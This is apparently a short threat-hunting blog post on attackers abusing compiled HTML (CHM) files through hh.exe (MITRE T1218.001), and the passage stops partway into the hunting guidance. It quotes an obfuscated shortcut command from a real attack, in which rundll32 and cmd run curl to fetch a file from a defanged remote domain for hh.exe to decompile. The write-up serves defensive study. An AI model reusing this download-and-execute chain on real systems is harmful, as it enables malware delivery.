379. Hunting for Suspicious Compiled HTML Files
Hello everyone! Today we’ll take a look at a technique that isn’t very common. Nevertheless, it occasionally appears in attackers’ toolkits. This is System Binary Proxy Execution: Compiled HTML File (T1218.001) . This technique is often used in the early stages of the cyberattack lifecycle. For example, attackers may distribute malicious CHM files inside archives as attachments in phishing emails. Let’s look at an example. In this case , the attackers used an archive containing a shortcut with the following command: "C:\Windows\System32\rundll32.exe" shell32.dll ShellExec_RunDLL conhost --headless cmd /c curl www.360printsol[.]com/2026/alfadhalah/thumbnail?img=index.png -L""skontv&hh -d""ecompile^ . nt""v&0.ln""k In this scenario, the CHM file is downloaded from a remote web resource and extracted using Windows HTML Help ( hh.exe ), while using the -decompile argument. In the context of threat hunting, we can look for events in...